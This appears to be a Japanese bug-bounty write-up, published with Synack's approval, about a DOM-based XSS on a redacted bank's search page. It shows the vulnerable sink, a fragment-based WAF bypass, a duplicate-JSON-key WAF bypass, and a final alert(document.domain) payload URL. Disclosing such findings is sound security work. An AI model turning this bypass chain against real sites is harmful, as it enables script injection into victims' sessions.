4月にバグバウンティで報告した脆弱性の writeup

はじめに

本記事は Synack Red Team にて報告した脆弱性を解説したものであり、インターネット上のサービスに対し無許可の脆弱性診断行為を推奨することを意図したものではありません。ブログの内容に関して Synack からのレビューと公開許可を受諾済みです。

Synack Red Teamについてはこちら
tikicn.hatenablog.com

報告した脆弱性について

とある海外の銀行のトップページで見つかったDOM-Based XSSです。脆弱性の組み合わせ方がCTFをやっているようで面白かったので初めてwriteupを書いてみました。
ドメインは例によって www.redacted.com とします。
この検索画面は以下のような動作をしました。

  1. /search.html?word=<word> にアクセスする。
  2. /api/search に POSTリクエストが送信される。
    サーバサイドでの検索はこのタイミングで行われる。
  3. レスポンスがパースされ、/search.html上に検索結果が表示される。

WAF が強力な設定をされており、クエリやボディ部分に記号を入力するとブロックされるような挙動でした。

DOM-Based XSS に至るための要素が複数ありました。

  1. 検索結果出力時における、不適切な文字列処理
  2. 不適切な URL パースによるWAF bypass
  3. 独自実装の JSON 組み立てと重複キーによるWAF bypass

1. 検索結果出力時における不適切な文字列処理

先述した/api/search へのリクエスト送信や検索結果の表示を行っているのがsearch.jsというファイルでした。
search.jsの検索結果表示部分においてシンクとなる関数を利用していました。

keyword = getParam('word') 

~

$('[id$="search"]').val(keyword);

~

function SearchResult(){
  ~
  content = "<h4>"
  content+= "Found " + totalResults + " results";
  content += " for " + $('[id$=search]').val();
  content += "</h4>"
  ~
  $('#result').html(content);                                //ここ
}

~

$.ajax({
        type: "POST",
        url: `/api/search`,
~
        success:function(msg){
           if (msg.d != "No Data") {
             SearchResult()
           } else {
             NotFound();
           }
~
}


~

かなりソースコードを簡略化してますが、/api/searchのレスポンスに対してこのような処理がされてました。

  • 検索結果が存在しない場合
    NotFound()が実行される。この関数の中では.text()が利用されている。
  • 検索結果が存在する場合
    SearchResult()が実行される。
    .html("We found N results for <keyword>")となるため、ユーザ入力を制御できた場合XSSに脆弱

つまり、XSS に至るためには下記の条件を満たすペイロードが必要です。

  1. WAF にブロックされないペイロードであること
  2. そのペイロードで検索した結果、検索結果が存在すること

もちろんこのような条件を満たすような文字列は存在しませんが、どうにか作り出す必要があります。

2. 不適切な URL パースによる WAF bypass

一段階目の WAF bypass です。
search.js/search.html?word=<word>からパラメータを取得する際に、独自の URL パースを実装していました。

function getParam(key) {
    var regexS = "[\\?&]" + key+ "=([^&#]*)";
    var regex = new RegExp(regexS);
    var results = regex.exec(window.location.href);
    if (results){
      return results[1];
    }else{
        return null;
    }
}

---

keyword = getParam('word') // keywordにwordパラメータの値が格納
  • /search.html?word=<script>alert(1)</script>
    このようなリクエストはWAFにブロックされます

  • /search.html#?word=<script>alert(1)</script>
    #以降はサーバに送信されないため、ブロックされませんが、JS はwordパラメータにアクセスできます。

WAF の bypass と言っていいのかは微妙ですが、/search.html?word=のwordパラメータには任意の文字列を渡すことが可能になりました。

しかし依然として下記の問題点があります。

  • /search/api に送信される文字列はXSSのペイロードのためWAFにブロックされる
  • そのようなペイロードを入力しても、検索結果が存在しないため脆弱なSearchResult()が実行されない

3. 独自実装の JSON 組み立てと重複キーによる WAF bypass

search.jsから/api/searchにPOSTリクエストを投げる際、独自のJSONの組み立てを行っていました。

keyword = getParam('word')

<snip>

$.ajax({
        type: "POST",
        url: "/api/search",
        data: "{'keyword':'" + keyword"'}",
        contentType: "application/json; charset=utf-8",
        ....

/search.html?word=value と入力した際、/api/searchに送信されるリクエストは以下のようになります。

POST /api/search HTTP/1.1
<snip>

{
  'keyword': 'value'
   ...
}

ここで?word=value','keyword':'value2 と入力すると下記のようなリクエストが送信されます。

POST /api/search HTTP/1.1
<snip>

{
  'keyword': 'value',
  'keyword': 'value2',
  ...
}

WAF の種類や設定によっては、JSONキーが重複している場合、一つ目もしくは二つ目の値しか検査しないことがあります。今回は2つ目のパラメータが検索に利用され、1つ目のkeywordの値にペイロードを仕込んだ場合に WAF は検査しないことが分かりました。

組み合わせる

これらを組み合わせて、最終的にDOM-Based XSS に至ったペイロードはこのようになりました。

https://www.redacted.com/search.html#?word=<script>alert(document.domain)</script>','keyword':'valid_value

この際、/api/searchに送信されるリクエストは以下のようになります。

POST /api/search HTTP/1.1
<snip>

{
  'keyword': '<script>alert(document.domain)</script>',
  'keyword': 'valid_value',
  ...
}

検索で用いられるのは二番目の値であり、検索結果が返ってきます。 検索結果が存在するときは、脆弱な SearchResult() が実行されます。 最終的なHTMLは下記のようになり、alert実行とDOMアクセスが可能なことを確認しました。

<h4>
Found n results for <script>alert(document.domain)</script>','keyword':'valid_value
</h4>

この報告は日本円で18万ほどでした。久々にバグバウンティやりましたが4月は豊作でした。

また気が向けばReconの手法なども書いていきたいです(がwebsecより実用的だから怒られそう...)